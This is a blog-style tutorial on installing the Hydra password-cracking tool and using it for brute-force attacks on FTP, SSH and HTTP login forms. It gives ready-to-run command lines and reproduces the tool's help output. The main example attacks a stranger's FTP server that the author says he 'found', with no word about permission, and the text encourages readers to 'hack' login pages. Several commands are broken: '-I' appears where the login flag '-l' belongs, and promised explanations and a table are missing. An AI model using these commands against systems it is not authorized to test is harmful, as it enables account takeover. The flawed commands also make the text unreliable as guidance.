Hydra Password Cracking Tool Complete Tutorial 2022 | Hydra SSH, FTP, HTTP Bruteforce

Hydra password cracking tutorial | How to use hydra to crack passwords in Kali Linux? | Hydra Password Cracking Termux | Hydra brute force | Hydra Password Creaking Tool Complete Course 2022 | Hydra SSH, FTP, HTTP Bruteforce

Hydra is a powerful password cracking tool that can be used to brute force passwords for various different services. It is a very popular tool amongst penetration testers and security researchers.

Hydra can be used to brute force passwords for various services such as FTP, SSH, Telnet, HTTP, HTTPS, SMTP, etc. It is a very versatile tool and can be configured to attack different services in different ways.

Hydra is a very fast password-cracking tool and can be highly effective if used correctly. It is important to understand how Hydra works and how to configure it correctly before using it, as it can easily be misused.

There are many methods that people use to try and crack passwords. The most common method is brute force, which is basically just trying every possible combination of characters until the right one is found. Other methods include using dictionary attacks, which try common words and phrases or using leaked password databases to find passwords that have already been compromised.

What is a brute force Attack?

Bruteforce is a method of breaking into a computer system or encrypted file by trying every possible combination of characters until the correct one is found. This can be done manually, but more often it is done with the help of automated software.

The advantage of brute force is that, if the password is not too long, it is guaranteed to find the correct password. The downside is that it can take a very long time, especially if the password is long or complex.

There are many ways to make brute-force more efficient, such as only trying common passwords, or only trying passwords that are likely to be used together. However, even with these optimizations, brute force is usually a last resort, to be used only when other methods have failed.

Hydra Password Creaking Tool in Termux

Hydra is one of the best password creaking tools and if you want to use Hydra Tool in Termux then there you can face some problems because termux works on CLI ( Command Line Interface ) mode. Anyway to install the Hydra tool in Termux then you need to follow some given commands:

$ apt update 
$ apt upgrade 
$ apt install proot-distro
$ proot-distro install ubuntu 
$ proot-distro login ubuntu
$ apt update
$ apt upgrade 
$ apt install hydra 
$ hydra -h

Follow these commands step by step and download the Hydra tool in Termux. hydra -h command will show you instructions for using the Hydra tool.

Hydra Password Creaking Tool in Kali Linux

Kali Linux has pre-installed the Hydra tool. But sometimes you need to install the Hydra tool in Kali Linux. Don’t worry we will share all commands used to download the Hydra tool in Kali Linux.

To download the hydra tool in any Linux distro or Kali Linux you have to use the command given. For a new Kali Linux user, I recommend updating and upgrading your Kali Linux Terminal first.

$ sudo apt-get update
$ sudo apt-get upgrade
$ sudo apt install hydra
$ hydra -h

When you run the hydra -h command you can see a user guide on your terminal as given below.

root@kali:~# hydra -h
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes onlySyntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]Options:
  -R        restore a previous aborted/crashed session
  -S        perform an SSL connect
  -s PORT   if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr    try "n" null password, "s" login as pass and/or "r" reversed login
  -u        loop around users, not passwords (effective! implied with -x)
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to be attacked in parallel, one entry per line
  -o FILE   write found login/password pairs to FILE instead of stdout
  -f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6   prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -U        service module usage details
  server    the target server (use either this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmppHydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 oracle.Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
       % export HYDRA_PROXY_HTTP=http://proxy:8080
       % export HYDRA_PROXY_AUTH=user:passExamples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAINhydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5

Bruteforce FTP using Hydra Password Creaking Tool

The File Transfer Protocol (FTP) is a standard network protocol used for the transfer of computer files between a client and a server. FTP is built on a client-server model architecture and uses separate control and data connections between the client and the server.

FTP is a very popular protocol and is used by a wide variety of clients and servers. FTP is used to transfer web pages from a server to a client, transfer files between computers, and transfer large files over the internet.

There are two main versions of FTP, FTP over SSL (FTPS) and SSH File Transfer Protocol (SFTP). FTPS is a secure version of FTP that uses SSL to encrypt the connection between the client and server. SFTP is a secure version of FTP that uses SSH to encrypt the connection between the client and server.

FTP Bruteforce is a technique used by attackers to gain unauthorized access to a system by guessing the password. This is usually done by using a dictionary of common passwords and trying them all until the correct one is found. This type of attack is relatively easy to carry out and can be very successful if the password is not strong.

Let’s Know how easily we can do Bruteforce using Hydra Tool on an FTP server.

hydra -l <username> -P <path to wordlist>passlist.txt ftp://<Target's IP Address>

I have written a command above that we will use to Bruteforce on an FTP server using Hydra Tool. In this command, every word has a deep meaning that you can read below.

Let’s take an example with some fake information.

I found an FTP server with IPaddress 192.0.0.1 and the owner’s name is Tolly. Now we will use this information for brute force and access his/her FTP server. You have to run a command like the given: ( Note: Username, Password List path can be different so don’t run directly this command because there is nothing. )

hydra -I Tolly -P ../wordlist/rockyou.txt ftp://192.0.0.1

You can also use a custom wordlist for usernames like the one given.

hydra -I ../wordlist/username.txt -P ../wordlist/rockyou.txt ftp://192.0.0.1

Bruteforce SSH using Hydra Password Creaking Tool

Secure SHell (SSH) is a cryptographic network protocol used for secure communication between devices. SSH uses public-key cryptography to authenticate devices and to ensure the confidentiality and integrity of data transferred over the network.

SSH is commonly used to access remote servers, securely transfer files between devices, and tunnel network traffic. SSH is also used to securely connect to virtual private networks (VPNs).

SSH is an important tool for network administrators and security professionals. It can be used to secure network infrastructure, harden network security, and troubleshoot network problems.

SSH brute force attacks are a type of cyber attack where an attacker attempts to gain access to a server or system by trying to guess the login credentials. This type of attack is usually automated, with the attacker using a tool to repeatedly try different username and password combinations until they find a match. SSH brute force attacks can be very difficult to defend against, as they can be very sophisticated and difficult to detect. The best way to protect against SSH brute force attacks is to use strong authentication methods, such as two-factor authentication.

hydra -l <username> -P <path to wordlist>passlist.txt <Target's IP Address> -t 4 ssh

This command is used to brute force an SSH Server. Here is some wording used in the command that we have described below.

I hope you all guys understood how to brute force an SSH server using Hydra Tool.

Bruteforce HTTP Login Page using Hydra Password Creaking Tool

When it comes to web forms, a brute force attack is perhaps the simplest and most effective way to gain access to sensitive information. By simply trying to submit different combinations of characters to a web form, an attacker can eventually find the right combination that will allow them to access the form data.

There are a few things that can be done to prevent brute-force attacks on web forms. First, make sure that the form only accepts input from trusted sources. Second, rate-limit the number of attempts that can be made to submit the form. And finally, make sure that the form data is properly encrypted so that even if an attacker does gain access to it, they will not be able to read it.

hydra -l <username> -P <path to wordlist>passlist.txt <Target's IP Address> http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

I have written down a dangerous command but don’t worry it is very simple and with the help of this command, we will hack an HTTP login page. It is very simple to say but can be very typical to hack a login page because we need to gather a lot of information about the website. If you want to be a real Hacker then you need to use all possible methods.

In this command, you can see a lot of things are used that you can easily understand using the table given below.

After reading this article, I hope you understood how we can use the Hydra tool for FTP, HTTP, and SSH brute force. If you have any further queries regarding the Hydra tool then you can freely comment below this article. We will respond as soon as possible.